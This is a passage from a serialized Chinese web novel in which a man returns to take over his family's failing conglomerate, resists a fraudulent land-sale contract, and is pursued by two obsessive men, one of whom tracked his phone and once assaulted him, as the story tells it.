果然不出所料,是何眷蓉。 这是一间私人的茶咖包间。 “小衍,你是妈妈怀胎十个月生下来的孩子,妈妈找了这么久,终于找到你了。” 何眷蓉擦了擦眼角的泪,满眼慈爱地看着贺衍。 几乎是何眷蓉开口的一瞬间,贺衍就意识到了她的目的。 他微微敛眸,压下了眼底的嘲讽和讥诮。看来鄢忬说得的确没错,在贺忠载死后,贺琚没有继承贺家。 贺衍没有说话。 何眷蓉被贺衍的沉默搞得心里发慌,“小衍,妈妈知道你受委屈了。但都是你爸爸不好,他当初不该逼着你非得跟裴家的人联姻的。但是你放心,妈妈不会这么做的,妈妈以后会好好爱你的。” 贺衍声音平静,语调没有起伏地说道:“您过了这么长时间才来找我,是为了什么呢?” 何眷蓉的眼中闪过一丝恼怒,但很快又被温和又怜爱的目光取代:“小衍,你身上流着贺家的血,你是贺家真正的继承人。妈妈终于找到你了,等你回了淮新,贺家的一切就都是你的了。” “贺家的一切?”贺衍轻笑一声,玩味地说道,“可我是个‘死人’啊。” “那是意外!”何眷蓉急切地解释,“你忽然就消失不见了,我们以为你死了,无奈之下,才对外——” 贺衍微微眯眼,贺家的现状,可能比自己想象的还要差。 贺衍打断了她:“直接说条件吧。” 何眷蓉深吸一口气:“只要你回来继承贺家,我可以给你想要的一切。股份、人脉、资源……贺家虽然现在处境艰难,但根基还在。” 只有回到淮新,他才能亲眼见到杭凌一的尸体。 否则—— 贺衍眸色暗了下去。 杭凌一的死,U盘里的证据…… 如果他想要接近罗彰勋,接近裴行赫。 这一切都需要权力和资源去调查。 比起依附鄢忬,贺家,或许是他更好的选择。 贺衍唇瓣抿成一条直线,他突然问道:“贺忠载是怎么死的?” 何眷蓉明显愣了一下:“他是心……心梗发作。” “您应该清楚,我想要知道的具体经过。” “那天他很晚才回来,一进门就大发雷霆。”何眷蓉回忆道,“但当时看着并没有什么异常。他在书房里待了一夜,被发现的时候,人已经走了。” 何眷蓉摇了摇头:“那天是贺叁跟着他出去的,我之前问过他,贺叁只是说生意上的案子失败了。或许是太生气了,才——” 何眷蓉叹了口气,她心里又恨又恼又难受,贺忠载如果没死,她现在的处境也不会这么难。 贺衍沉默了很久,最终点头:“我答应你。” 贺衍一回来就开始收拾行李。 黄弘资反坐在椅子上,双手搭在椅背上,随口问道:“你准备回家,今天才是周二吧,这几天的课不上了吗?” 贺衍点了点头:“大概会请假一段时间。” 黄弘资唇瓣嗫嚅了半晌,在贺衍快要收拾好行李的时候,终于出声问道:“贺衍,你真的没事吧。从刚才开始,你的眉头都没有松开过。” 贺衍手上的动作没停,他出声道:“只是回家而已。” 只是回家而已吗? 黄弘资眨了眨眼,但是兄弟,你的表情给人的感觉是要去上战场啊。 何眷蓉来时没有告诉任何人,离开的时候同样很隐蔽。 她没有乘坐私人飞机,而是定了两张今天最早回淮新的机票。 铜海机场。 两人脸上都戴着口罩,坐在贵宾室内等待飞机起飞。 单单只看眉眼,几乎没人能否认这两个人的血缘关系。 飞机起飞前的半个小时,贵宾厅的客户经理走到了两人面前。 何眷蓉还以为是来通知他们飞机就要起飞,正欲站起来,却听到这人说道:“两位贵宾,非常抱歉,因为某些原因,今晚二位乘坐的航班推迟了。” 贺衍眼皮一跳,还没等何眷蓉出声,他就问道:“什么原因,能够改签其他航班吗,我记得一个小时后还有航班也到淮新。” 何眷蓉奇怪地看了眼贺衍,他怎么比自己还要着急离开这里。 客户经理扬起一抹假笑:“先生,真是不好意思,那个班次已经满了。您二位先在此稍等,如果今天实在无法起飞,我们会为两位免费办理机场附近酒店的住宿。” 贺衍心里不好的预感更强了。 他借口出去,正准备给鄢忬打个电话,贺衍的手指正准备按下拨号键,却忽然与门外的鄢忬四目相对。 鄢忬穿着黑色的正装,气势很强,但贺衍清晰地看到对方眼底闪过的一丝挣扎。 “是你做的。” 机场广播里机械的女声还在重复着航班取消的通知,周围旅客抱怨的声音此起彼伏,但此刻贺衍耳中只剩下自己剧烈的心跳声。 “为什么?”贺衍上前一步,声音压得很低,他逼近鄢忬,眼中带着戾气。 鄢忬墨绿色的眼眸暗了暗:“阿衍,淮新不安全。” “所以你就擅自决定我的行程?” 贺衍冷笑了一声。 “叔叔,这是我的选择。”贺衍抬头直视鄢忬的眼睛,“无论危险与否。” 鄢忬的喉结滚动了一下,西装袖口下的手腕微微绷紧。他知道贺衍回去的原因,正是因为这个原因,他—— 两人之间的空气仿佛凝固了。 鄢忬突然抬手按住贺衍的后颈,力道大得几乎让他疼痛。 鄢忬的声音低哑,墨绿色的瞳孔翻滚着暗色:“我可以让你去淮新,但不要让自己受伤。否则,我会亲自把你带回来。” 两人乘坐的航班,最终只往后推迟了十分钟。 飞机起飞时,贺衍望着窗外越来越小的铜海市。 忽然想起了去年那个暑假,鄢忬陪着他在罗河县待了很长很长的时间。那个时候,他甚至恍惚地以为,自己可以永远依赖他。 可是后来的一切都变了。 “小衍,睡会儿吧。” 何眷蓉递来一条毛毯:“到了淮新还有的忙。” 何眷蓉的声音柔软,嗓音温和,带着母亲特有的关切,却让贺衍觉得心里的窟窿在越裂越大。 他接过毛毯,指尖触到何眷蓉精心保养的手,那温度陌生得让他下意识缩了缩。 贺衍闭上了眼睛。 等他再醒来的时候,飞机马上就要到淮新了。 第98章 第 98 章 我不会让他逃了 第98章 黑发黑眸的男人穿着板正的警服, 站在墓碑前,狭长的眼眸微微低垂,唇角泄出一丝不知是痛苦还是喜悦的笑意。 他的声音微颤, 轻声道:“真相比想象的还要残酷, 但如果要让我再选择一次,我依旧会这么做。” 他微微俯身, 单膝跪下,指尖轻触墓碑上的照片。 导演推动镜头,给了他一个脸部特写。 “咔!” 导演激动地站起来:“行水老师,刚才演得实在是太棒了!就是我想要的那种感觉。” 站在墓碑前的男人站起来,脸上的悲意已经消散, 唇角重新挂上了笑。他随意拍了拍膝盖上灰尘, 对着导演点了点头。 导演晃神了一下, 心里感叹,这个横空出世的新人,真的是演戏的天才。 不仅拥有一张足以秒杀娱乐圈所有人的脸, 更别说—— 导演的目光微微移动,落到了一侧的面容娇美的年轻女生身上。 嵇星传媒的继承人, 居然亲自来当行水的经纪人。 导演和一旁的副导对视了一眼,两人暧昧地笑了一下。 剧场附近的群演也在窃窃私语。 “你说, 去年行水在获奖的时候发表的那个感言, 是不是就是为了俘获嵇小姐的芳心。” “说实话, 我还挺佩服他的。那次之后, 他的女友粉掉了好多。” “啧啧,你这就不懂了吧。要是能牢牢抱稳嵇小姐的芳心,那不管是资源还是人脉金钱,就完全不用愁了。” 嵇星传媒的前身是一家纸媒报刊。 二十年前, 网络远不如今日发达,那时候嵇星报社是萨卡州乃至联邦都数得上的大报社。 嵇星报社的创办人是嵇雅君的大伯嵇星。 嵇星曾经是森铭学竞选团队的核心成员,但并不为外界所知。 在森铭学竞选的时候,嵇星报社发行的期刊报纸发挥了巨大的作用。嵇家也是在那个时候开始发家,在森铭学上位之后,嵇家开始涉足娱乐圈,逐步发展成为如今联邦娱乐公司巨头。 森铭学下任不久,嵇星就去世了。但嵇星没有结婚也没有子嗣,因此根据法律,嵇雅君的爸爸就继承了嵇星传媒。 嵇雅君不清楚这些弯弯绕绕。 她目前拥有嵇星娱乐传媒公司百分之九的股份。但贺琚那个当面一套背后一套的小人也不知道怎么回事,突然之间就拥有了公司百分之十的股份。 要不是爸妈承诺,她要是能给贺琚当一年的经纪人,就再给自己公司百分之五的股份,她才不会没事来找罪受。 她知道那俩人是什么意思,就是想让她和贺琚多相处,最好能够一举拿下贺琚。 嵇雅君翻了个白眼,表面答应实际上完全阳奉阴违,除了个别事情,根本不会跟贺琚见面。 看到贺琚那种标志性的假笑,嵇雅君身上就起了一身鸡皮疙瘩。 贺琚今天的戏份已经拍完了。这部电影是一部警匪片,再有一周左右他就能正式杀青。 贺琚侧眸看了眼嵇雅君,虽然看着在笑,但冰冷的黑色眼眸没有丝毫笑意。 “有事?” 嵇雅君干笑了两声,硬着头皮说:“今天要在淮新机场拍摄机场风格的腕表广告拍摄。梵时阁告诉我说你不同意,但是……” 真想一拳锤爆他这张假笑的脸,每次找贺琚说话感觉都能干掉自己一条小命,真不清楚为什么那么多人会喜欢他。 贺琚敛眸,漫不经心地喝了口水,拒绝的话已经到了嘴边,心脏却跳空了一拍。 他眉梢蹙了一瞬,莫名其妙地答应了。 淮新机场。 拍摄场地,被粉丝里三层外三层围了个水泄不通。 广告拍摄间隙,贺琚忽然接到了一通电话。 听筒里传来贺壹恭敬的声音:“少爷,贺叁派车去了淮新机场。这件事是我失职,现在才知道夫人昨天去了铜海,但我现在还没有查清夫人去铜海的目的——” 贺琚微微蹙眉,眸色晦暗,为什么她会去铜海? 周围传来阵阵激动的尖叫,贺壹的声音被杂音掩盖。 贺琚挂断了电话。 他不经意地朝某个方向看了一眼,忽然愣住了。 “行水!行水!看这里,啊啊啊啊啊!他看过来了!!!” 他的目光越过拥挤的人潮,落在了一个戴着棒球帽的青年身上。 青年拉着行李箱,跟在一个衣着华丽的贵妇人身后。 两人的身影很快消失了视野之中。 他的睫毛微颤,忽然低低笑出了声。 周围的粉丝因为他的笑容,发出了更加剧烈的尖叫,几乎要掀翻屋顶。 贺琚握紧了手机,手背上暴起青筋。 哥哥,居然真的来淮新了吗? 黑色的眼眸被浓郁的墨色浸染,贺琚摩挲着腕上的表带,唇角笑意却渐渐凝固。 明明按照哥哥的性格,是不可能会回到贺家的,也不会继承贺家的。 贺家现在就是一座表面光鲜的摩天大楼,但内里早已千疮百孔,更别说贺忠载背地里做的那些事情。 一旦曝光,不需要太多力气,只要轻轻一推贺家就会轰然倒塌。 贺琚微眯了下眼,他明明已经想好了,等到大二的时候转到铜海大学,当哥哥的室友,给哥哥一个惊喜。 从去年的获奖感言开始,他就在造势。几乎现在人人都清楚,他是为了一个人才进入演艺圈。 只要之后,不小心把那个人就是贺衍的消息传出去。 可现在,哥哥怎么会跟着何眷蓉回到淮新。 工作人员走近,轻声道:“行水老师,马上就要继续拍摄了,您休息好——” 他抬起眼看向行水,在目光接触了一瞬间,声音戛然而止。 到底是谁说行水性格好的啊,工作人员咽了口唾沫,再次开口道:“您现在能继续拍摄吗?” “当然可以。”贺琚点头,笑容重新浮现。 离开机场,黑色加长的劳斯莱斯幻影直接开向了贺氏集团的大楼。 贺氏集团的大楼位于市中心。 贺衍看着窗外飞驰的景色,眸色忽然凝在了某个方向。 红十字的标志显眼又刺眼,淮新多克医院。 贺衍收回视线,放在身侧的手却攥紧了。 他垂眸,视线虚无地盯着一个方向,眸底一片漠然。 到现在为止,没有任何新闻媒体报道杭凌一去世的消息,连曾经大肆报道“联邦大法官之子当律师”的各大媒体都集体保持了沉默。 下午四点多。 贺氏大楼近在眼前,在寸金寸土的淮新市中心,这整栋楼却都属于贺氏集团。 何眷蓉走在前面,高跟鞋踩在大理石地面,发出哒哒的声响,她侧头低声道:“一会儿进去,你什么都不用说,我来应付。” 贺衍没应声,只是轻轻抬了抬眼皮,目光冷淡地扫过四周。 推门而入的瞬间,嘈杂的争执声扑面而来。 “贺衍早就对外宣布死亡了!现在突然冒出来,谁知道是不是真的?”一位秃顶股东拍桌而起,面色涨红。 “放屁!你是瞎还是老年痴呆,你之前又不是没见过贺衍。” 何眷蓉冷笑一声,抬手示意保镖关上会议室的门。 “各位。”她嗓音轻柔,语气却不容置疑,“贺衍没死,贺家的产业,自然轮不到外人染指。” “何总,话别说太满。”一位年长的股东眯着眼,“贺氏现在什么情况,你比我们清楚。银行催债、项目烂尾,股价跌成什么样了?就算贺衍接手,他能解决?” “是啊,还不如趁早清算,大家还能分点残渣。” 贺衍站在何眷蓉身后,听着这些人议论纷纷,神色淡漠。 何眷蓉微微一笑,从包里抽出一份文件,轻轻推到桌面中央。 “这是我丈夫生前的遗嘱,他的遗产,自然由他的孩子来继承。” 她指尖点了点纸面:“如果各位今天配合,一切都好说。如果不配合,之前的项目,你们贪下来的钱,咱们自然也要一笔一笔好好清算。” 会议室安静了一瞬。 又开始了争吵。 贺衍坐在一旁,唇角微不可查地扯了扯。这群人争的不是谁该不该继承,而是自己能从中捞多少好处。 会议结束时,已是晚上八点。 贺衍跟着何眷蓉回到了贺家。 门口,贺叁恭敬地迎接两人:“夫人,少爷,晚饭已经准备好了。” 吃过晚饭,何眷蓉拉着贺衍谈心。 贺衍唇角挂着笑,时不时地点头,他垂下眼睛,遮住了眼底的情绪,他要是信这些话,现在就可以回炉重造了。 只是他微微抿着唇瓣,看起来有些委屈。 今晚的会议,何眷蓉的目标已经达成了一多半,她现在的心情很不错。看到贺衍如此听话的神态,再对比令人恼恨的贺琚。 何眷蓉的心更柔软了,她轻轻抚摸着贺衍的头:“贺琚这段日子,几乎都不在家里住。小衍你也不用担心,妈妈以后会一直站在你这边……” 何眷蓉低声说道:“小衍,以后贺叁就是你的专属管家了。” 她对贺叁招了招手,示意贺叁走近。 贺叁对着贺衍鞠躬,比之前弯腰的弧度要大。 贺衍的房间还在之前的那个屋子,里面的陈设和之前的一样,也没有太多区别。 贺叁跟在贺衍身后,就在他转身离开时。 贺衍忽然出声叫住了他:“我现在有一个问题,贺叁管家可以回答吗?” 贺叁垂着头,恭敬地说道:“少爷您想问什么,只要我知道,自然——” 贺衍打断了他:“你肯定知道,贺叁管家。父亲去世那天,你跟着父亲去了哪里?” 贺叁瞳孔收缩一瞬,但很快就恢复了正常。 贺叁面色如常:“少爷,老爷出门的时候的确带上我了,但我只是陪着他去了贺氏集团。后来老爷自己去外面谈生意了,具体的对象我也不清楚,只知道老爷回来后心情很不好……” 贺衍眼神闪烁,看来从贺叁这里,是问不出什么来了。 三天后,贺氏集团官网正式宣布股权交接。 贺衍正式成为贺氏集团的新任掌权人。 铜海大学。 周四,黄弘资睡眼惺忪地出现在教室里,他熬夜打了一晚游戏,就睡了不到四个小时。 这节是个水课,黄弘资瞌睡了一节课,本来打算趁着课间好好补觉。 但耳边左一个“贺衍”,又一个“贺衍”吵得他根本睡不着。 黄弘资猛地抬起头,拍了拍前桌男生的肩膀:“兄弟,你们在说什么贺衍?” “今天贺氏集团发布公告了,你猜继承贺氏集团的人叫什么名字?” 黄弘资想到刚才不断灌入耳中的魔音:“贺衍?” 前排的男生:“你知道啊?” 黄弘资愣愣地说了句:“是我们学校的那个贺衍吗?” “怎么可能,肯定是同名同姓啦。贺衍长的帅已经够令人嫉妒了,要真是继承了……” 贺氏集团,总裁办公室。 总裁办公室位于贺氏集团的顶层,可以俯瞰整个淮新。面积也很大,有一百多平米,分割成了办公区、会客区和休息区三个部分。 办公区的书桌上堆着厚厚一摞文件,但这些文件,不涉及任何机密,甚至可以直接在官网上下载。 贺衍微微抬眸,目光忽然被角落里那幅巨大的贺氏商业版图吸引,尽管许多项目已经被红笔划掉,但剩下的脉络依然盘根错节,深入政商两界的各个角落。 他的指尖轻轻敲击着座椅扶手,思绪飞快运转。 一年前,贺氏集团中标了淮新开发区的地皮,同时承接了该地的政府楼盘建设。 正式开建本来是在今年春天,但因为贺忠载的去世,贺氏集团内部混乱,再加上集团资金并不充裕,到现在这项工程都没有开始动工。 但合同已经签订,只要贺氏集团没有倒闭,这个项目就不会落到别人手中。 而这些政府合同的签订,势必要通过经济部部长。 他知道何眷蓉是在利用自己,但他同样也在利用贺家。 这个项目,或许就是接近罗彰勋的契机。 贺衍走到落地窗前,眉心拧了一下,朝着一个方向望去。 杭家就在那个方向。 他用贺家的名义向杭家送的拜帖,到现在都没有消息。他又找了几个淮新比较私家侦探,但是无论是哪一个人都没能成功探听到杭家的消息。 郗景当初说过,杭凌一的那几个朋友经常出入杭家。 贺衍眼眸闪烁,他深吸了一口气,唇瓣抿成一条直线。 他必须到杭家亲自看一看。 如果杭家这周内还不给回复,他就去找其他办法。 办公室大门被敲响了,贺衍按下按钮,打开了门。 何眷蓉推门而入,脸上带着温柔的笑意。她的身后还跟着一个模样还算英俊的穿着西装的中年男人。 贺衍没见过这个人。 准确地说,自他上任以来,没有见过任何一个公司高管。 何眷蓉笑着说道:“小衍,这位是公司的财务总监,叫作钱清荣。” 钱清荣:“贺总,您好。” “小衍,这几份文件需要你签字。” 贺衍抬眸,目光平静地扫过她手中的文件夹:“什么内容?” 何眷蓉轻描淡写地说着:“哦,就是些常规的业务转让协议。” 钱清荣将文件在贺衍面前摊开。 何眷蓉继续说道:“你也知道,现在集团资金有些紧张,打算卖掉几个边缘项目回笼资金,这都是很正常的商业操作。” 贺衍没接话,修长的手指翻动着纸张,眼神却越来越冷。 何眷蓉是把自己当傻子吗,这些协议简直漏洞百出,他的确不太懂公司管理,但合同协议这些东西他可是熟得不能再熟了。 而且,这份打算专卖的协议里,居然包括淮新开发区的项目。 贺衍眸色暗了下来。 何眷蓉看贺衍翻起文件看了起来,没打算直接签,她蹙了下眉。 但旁边的钱清荣对着她轻轻摇了摇头。 贺衍抬眸看向何眷蓉:“母亲,你是不是忘了,我是学法律的?” 何眷蓉的笑容僵了一瞬:“什么意思?” 贺衍合上文件,声音不轻不重:“意思就是这份合同,要么是法务部集体失智,要么就是有人故意在坑我。” 财务总监的脸色瞬间变了。 何眷蓉深吸一口气,勉强维持着笑容:“小衍,商场如战场,有时候不得不做些妥协……” “妥协?”贺衍的表情终于变了,他轻笑一声,“把价值三十亿的地皮以十八亿贱卖,还附带政府批文。你是觉得我蠢,还是觉得我眼瞎?” 淮新东区,岑家主宅。 岑靳回去的时候,岑德越正在客厅喝茶。 他的身后,站着刚从部队休假回来的高振。 岑靳点头打了声招呼,就准备回房间。 岑德越面无表情地看着岑靳,冷声呵斥道:“回来,我让你回去了吗?” 岑靳脚步一滞,用同样冰冷的声音反问道:“那你又要说什么事?” 高振听到岑靳的声音,心虚地缩了下脖子。 岑德越抬眸,眉头蹙紧。 他瞥了一眼身侧的高振,语气不缓不慢,却吓得人心惊。 “高振也真是够听你的话,你都不是他上司了,还帮你忙东忙西。” 岑靳神态自若地坐到沙发上,给自己倒了杯茶。 岑德越抿了口茶。 “高振什么都招了,包括你在贺衍手机里安装定位这件事。” 岑靳表情变都没变,但灰蓝色的眸却中酝酿着风暴,他扯了扯嘴角:“那又怎么了。” 岑德越气笑了,猛地把茶杯放到桌面上,声音极响。 高振整个人都颤了一下。他就是一个被压迫使唤的无辜的人啊,为什么要把他留在这里啊。 “怎么,你这检察官是要知法犯法。检察院的人都跟我说了,你每周都要出去出差。说说吧,你这周到底去了哪里?!” 岑德越根本没给岑靳回答的机会,他越说越气:“我居然现在才清楚。这么说,过年那几天你说要去外地出差,也是去见贺衍了。岑靳,你还有没有把我的话放在眼里。你难道到现在还以为可以瞒得过我吗?!” 岑靳终于出声了,他平静地回答道:“我不会让他发现的,我只是去看看他。” 贺衍的周围一直有人在暗处守着他。 他如果出现在贺衍面前,一定会被发现。在他没有足够的能力把贺衍带走之前,他不会让那些人发现。 岑德越冷笑一声:“好一个不会让他发现。你老子我不怕鄢忬,但是你要真死在姆扎州——” 岑靳眸色暗沉,灰蓝色的眸子满是阴翳:“爸,我昨天是去铜海了。” 但他没有想到,在自己赶到铜海的时候,那个信号消失了。 消失的地点,就在铜海机场。 岑靳找到了贺衍的室友。他的室友说,贺衍的母亲来找贺衍,可能是因为家里有急事,所以贺衍请假回家了。 贺衍的母亲,除了何眷蓉之外,也不会有其他人了。 岑靳低笑出声:“老头子,他回淮新了。” “淮新是我的地盘,我不会让他逃了,你大可以放心。” 岑德越拿起茶杯就朝岑靳砸过去,怒声大骂:“我放心个屁,你知道你刚才说的是什么话吗?!!” 岑靳躲开茶杯,声音含笑:“您放心,我已经改了。” 第99章 第 99 章 “好久不见。”…… 第99章 岑靳看着还在一旁瑟瑟发抖的高振, 微微眯了下眼。 “老头,你不用再逼高振了。除了这事之外,我没让他再帮过我了。” 岑靳看向了高振:“你回去吧。” 岑德越摆了摆手:“你回家吧, 之后别再听这小子的话了。” 高振点头, 心里却在痛哭。这次休假白休了,看岑靳的态度, 估计之前说好的相亲对象大美女也没影了。 岑德越沉着一张脸,坐在客厅沉默不语。 管家高伟建示意下人把茶杯碎片打扫走。 岑德越忽然出声:“老高,你之前应该是见过贺衍。小琚占了人家的身份那么多年,我本来对那孩子就有些愧疚。” 他说着说着就叹了口气:“我和他母亲,都是正正常常恋爱结婚, 怎么到他这里, 就干了那么多混账事。要不是他是我儿子——” 高伟健低声说道:“老爷, 现在的年轻人和当初不一样。要是少爷之后再强迫贺少爷,您出面阻止就好了。少爷总归是听您的话的。” 岑德越冷哼了一声:“岑靳听我的话?!去年要不是我威胁他,他要是敢再去找贺衍, 我就把贺衍扔到保密部队里,让他再也见不到人, 他能安分这么久!” “真是越想越气!” 岑靳走到客厅,他手里转着车钥匙, 灰蓝色的眼里满是兴奋:“老头, 又气什么呢。” 岑德越看着准备离开的岑靳:“你刚回来又打算去哪里!” 岑靳微眯了下眼:“去干正事。” 贺氏集团大楼。 “您刚才看的那份协议, 并非法务部的失误。”钱清荣往前站了一步, 脸上堆着职业化的笑容,“贺总,您可能不太了解集团现在的实际情况。” 他从公文包里取出一叠报表,恭敬地铺在贺衍面前。 “这是今年一二月份的财务报告, 集团现金流已经连续呈现负增长。”他的手指点在一串醒目的红色数字上,“银行那边催得很紧,如果这个月再不能偿还部分贷款……” 贺衍站了起来,垂眸睨着他:“如果不还,会怎么样?” 钱清荣被他突然变化的神色惊了一瞬,随后面不改色地说道:“可能会有破产的风险。” 贺衍嗤笑了一声:“那就等这个月结束之前再说吧,只是有风险而已,又不是真的破产。” 三月份的天气正好,寒冬已去,春日来临。 继承人是死而复生的儿子,这事虽然在上流社会是个笑话,但对于目前的何眷蓉来说,却是最好的选择。 阳光透过落地窗洒在身上,但何眷蓉却没有感受到丝毫暖意。养大的儿子不听话,本来以为亲生儿子是个好相处的,没想到她也完全无法控制。 何眷蓉看着贺衍,心头却渐渐冷了下去。如果这个儿子不听话,那她就要想更多的办法,来达到自己的目的了。 官网上关于淮新新城区这个项目的信息太少,贺衍只找到了这个项目总负责人的名字,叫作施叙林。 知道名字,那就好办多了。 但当他想要看施叙林更详细的内部档案,却被告知他的权限太低,无法调阅。 这就是何眷蓉给自己的警告吗。 想到何眷蓉离开前放的狠话,贺衍微抿了下唇。 何眷蓉打算利用自己套取贺家的资源和金钱,他并不介意这些,但一切都要在查清U盘里的那些事之后。 贺衍挑眉,瞳孔倒映着系统界面上鲜红的无权限的警告。 他站起来活动了一下身体。 贺衍勾了勾唇角,既然系统上无法查到,那他就亲自去问出来。 人事部的办公区。 虽然贺氏集团总部的员工都知道目前贺氏的掌权人发生了变更,但他们也只是知道一个名字,根本不清楚人到底长什么样。 “你们说这新领导上任了好几天了,居然连一次高层会议都没开过,不会是个被架空的光杆司令吧。” “把‘不会’改成‘肯定’——”女职工的嘴巴忽然长大,她拽了拽同事,“你看那个帅哥,我的妈呀,这是人能长出来的脸吗?” “这人朝我们走过来了?!!” 贺衍职工身上的工牌:“请问你们部门的总监在哪里,我需要找他问一些事情。” 女职工指了指总监办公室的方向。 “多谢。” 等到贺衍离开之后,女职工忽然惊呼了一声:“你不觉得刚才过去那个人,跟何总有点像吗?” 另一个人压低声音:“你是说,何眷蓉?” 女职工猛地点头。 人事部总监办公室。 宁金水正在给贺琚汇报情况:“对,是这样没错。目前集团的高层都在观望,毕竟贺衍和您又不一样,他从来没接触过公司管理这方面的事情。” 宁金水低声笑了一下:“财务部、市场部那几个老油条,表面上客客气气什么意见都没说,实际上背地里都在等着看笑话呢。” 电话的另一头,贺琚坐在公寓的沙发上,修长的手指本来在轻轻敲击着桌面,在听到宁金水的话后,手忽然攥紧。 那些蠢货,怎么敢这么对哥哥呢。 阳光在他的身上投下细碎的光影,但那张脸上罕见没了笑容,他的表情森冷,令人不寒而栗。 “贺衍现在在干什么?” “贺总?”宁金水压低声音,“我刚才系统提示,他好像在查淮新开发区那块地的资料。不过何总给他关了权限,所以——” 宁金水还没说完,门外忽然传来了敲门声。 “宁总监,您在里面吗?” 宁金水走到百叶窗前,透过缝隙看到了外面的人影。 “贺总来找我了,一会儿我再给您报告。” 贺琚开口:“别挂断。” 哥哥在查开发区的那块地皮,贺琚若有所思地眯了下眼,新城区的地皮是去年他跟着贺忠载一起拿下来的。 难道这里面有什么问题吗? 替贺琚办事,就能得到贺氏集团百分之一的股份,宁金水自然不会不听贺琚的话。 他把手机放到口袋,打开了办公室的门。 宁金水嘴角扬起一抹笑:“原来是贺总,您来找我是?” 贺衍开门见山,也没打算寒暄什么:“我知道你能看公司所有员工的资料,把施叙林的档案调给我,顺便把我的权限打开。” 宁金水头上的冷汗瞬间就冒了下来。档案他是能调,权限他也能开。 但何总可是掌握着高层手里的不少秘密,贺衍这个位置还不知道能不能坐稳,他现在可不愿意为了贺衍冒险。 “您是想要施叙林的资料对吧。”宁金水打着哈哈,立刻走回办公桌前,打开了电脑。 他坐在电脑前操作了一番:“档案已经发到您的邮箱了。” 贺衍垂眸看着他:“权限呢?” 宁金水咽了口唾沫,他干笑了一声:“这事吧,我也想给您开,但问题是我也没这个权限啊。这样,您去找——” 放在口袋里的手机忽然震动了一下,宁金水本来不想理,但他忽然想到一直还在通话中的手机。 万一这是贺琚的消息。 宁金水做了个抱歉的表情,然后点开了手机。 [给他放开权限。] 宁金水瞳孔紧缩。 他很早之前就听过贺琚和贺衍不对付的说法。 甚至之前还有小道消息传,贺衍当初根本不是意外死亡,真相是真假少爷为了争夺家产,兄弟相残。 不过,后面这个谣言,在贺衍活生生出现在众人面前之后,已经不攻自破了。 但是,宁金水抿着唇,有些不敢置信,难道第一个说法也是错的? “哎呀,您看我这脑子,把您的话理解错了。”宁金水在电脑上操作了一番,“权限已经给您打开了。” 宁金水看完手机,脸色就呈现出五彩纷呈的状况。 刚才,是谁和他那么及时地发了消息,才能让他的态度转变得那么明显。 这个人选真是太好想出来了。 贺衍盯着宁金水,忽然笑了笑。 “宁总监,替我谢谢贺琚。” 宁金水浑身僵硬,瞬间起了一身鸡皮疙瘩。 他之前搞错了,这位新上任的贺总,也不是什么简单人物。 贺衍回到顶层的总裁办公室没多久,办公室就接到了一个内线电话。 “贺总,楼下有一位叫岑靳的先生没有预约,但是他说您认识他?”前台看着眼前的大帅哥,努力保证自己言辞的公正性。 贺衍的眉里眼间一下子涌上戾气,眸色瞬间沉了下来。 听筒里传来杂音,前台又说道:“这位先生想亲自和您说?” 贺衍神色冷倦,阳光透过玻璃落入屋内,只有半张脸落在了阴影中。 他忽然笑了下,笑意不进眼底,但眼下的那颗泪痣像活了一样,莫名撩人。 “不用,让他直接上来。” 贺衍手指轻叩桌面,速度逐渐变快。 他半眯着眼看向办公室的大门,忽然站起来活动了一下手腕。 他其实等这天,等了很长时间了。 贺衍勾起唇角,眸中满是冷芒,看着大门从外面被推开。 岑靳穿了一件黑色的飞行夹克上衣,灰蓝色的眼睛看向贺衍的时候,忽然溢出了几分夹杂着侵略性的笑意。 “好久不见。” 第100章 第 100 章 “我输了。” 第100章 电影拍摄基地。 挂断电话, 贺琚心底甜蜜得简直在冒泡,连心脏都忍不住跳停一拍。 哥哥还是和以前一样,跟自己总是心有灵犀, 一下子就猜到自己了。 “行水老师, 妆已经补好了。” “辛苦你了。” 贺琚站了起来,漫不经心地弹了弹衣角不存在的灰尘, 姿态从容。 这是他的最后一场戏。 马上,马上就能见到哥哥了。 真是,真是太期待了。 贺琚眉眼弯弯,黑眸翻滚着浓郁跳跃的欢愉。 最后一场戏杀青了,鼓掌和欢呼声萦绕在整个拍摄现场。 导演亲自给行水送上了一束花:“行水老师, 希望之后还可以跟您合作。” 剧组的其他演员都纷纷聚齐到了他的身边。 嵇雅君站在一旁, 忍不住翻了个白眼。这场面, 她在圣洛莱索不知道见了多少次了。 也不知道能有什么要紧事,今天上午,贺琚破天荒地给自己打了个电话, 让她今天非得来一趟。 休息室。 嵇雅君震惊,双目圆瞪:“我艹你个天杀的, 你打算退圈。” “不是退圈,就是最近这段时间不打算接任何戏和通告。” “你接下来要演的那部电影, 多少演员都梦寐以求。先不说导演, 光说剧本可以说是近些年来业内评分最高的剧本。下个月就要进组, 你说不干就不干了?!!!” 气死了气死了啊啊啊, 自己当他的经纪人,还剩下一个月才满一年。贺琚要是不干了,那她的股份什么时候能到手里。 嵇雅君冷笑了一声,双臂环胸, 深吸了几口气,才忍住了破口大骂的冲动。 贺琚掀起眼皮,唇角扯了个不咸不淡地弧度,语气平静:“要么推迟拍摄,要么我毁约,违约金我出。” 嵇雅君和那双眼睛对视,浑身打了个哆嗦。 贺氏集团,人力部总监办公室。 宁金水轻抿了一口茶,手机铃声又响了起来。 他看着屏幕上贺琚两个大字,连忙咽下嘴里的茶水,深吸了一口气,接通了电话。 宁金水嗯了几声:“对,目前贺总还没有秘书。” …… 宁金水瞳孔紧缩,他愣了一下,才干巴巴地回道:“您放心。” 贺氏集团顶层,总裁办公室。 贺衍眯了下眼,碎发垂在他硬朗的眉骨上,微微上挑的眸中是同样意味深长。 他看着岑靳,声音冷冽:“是啊,好久不见。” 岑靳迈步走了进来,无声却压迫感十足。 门被关上了。 他眼睛亮了起来,像是猎人发现了逃窜已久的猎物。 岑靳唇角微扬,他一步步逼近,深邃的眼眸牢牢地盯着贺衍。 “我一直很想你。” 贺衍歪了歪头,眉梢挑了下,声音平静得可怕:“你知道你这种人最适合待在哪种地方吗?” 岑靳眨了眨眼,目光贪婪地黏在他的身上。他已经很久很久没有这么近地看过贺衍了。 贺衍眼里凝出寒霜。他不可能忘记那天,岑靳压在他身上的重量,被不断锲入的屈辱。 岑靳喉咙里发出几声低笑,声音暗哑:“我应该待在什么地方?” 贺衍凑近了岑靳,眉梢泛着冷。 记忆中的屈辱感排山倒海般涌来,让他的视野边缘泛起血色。 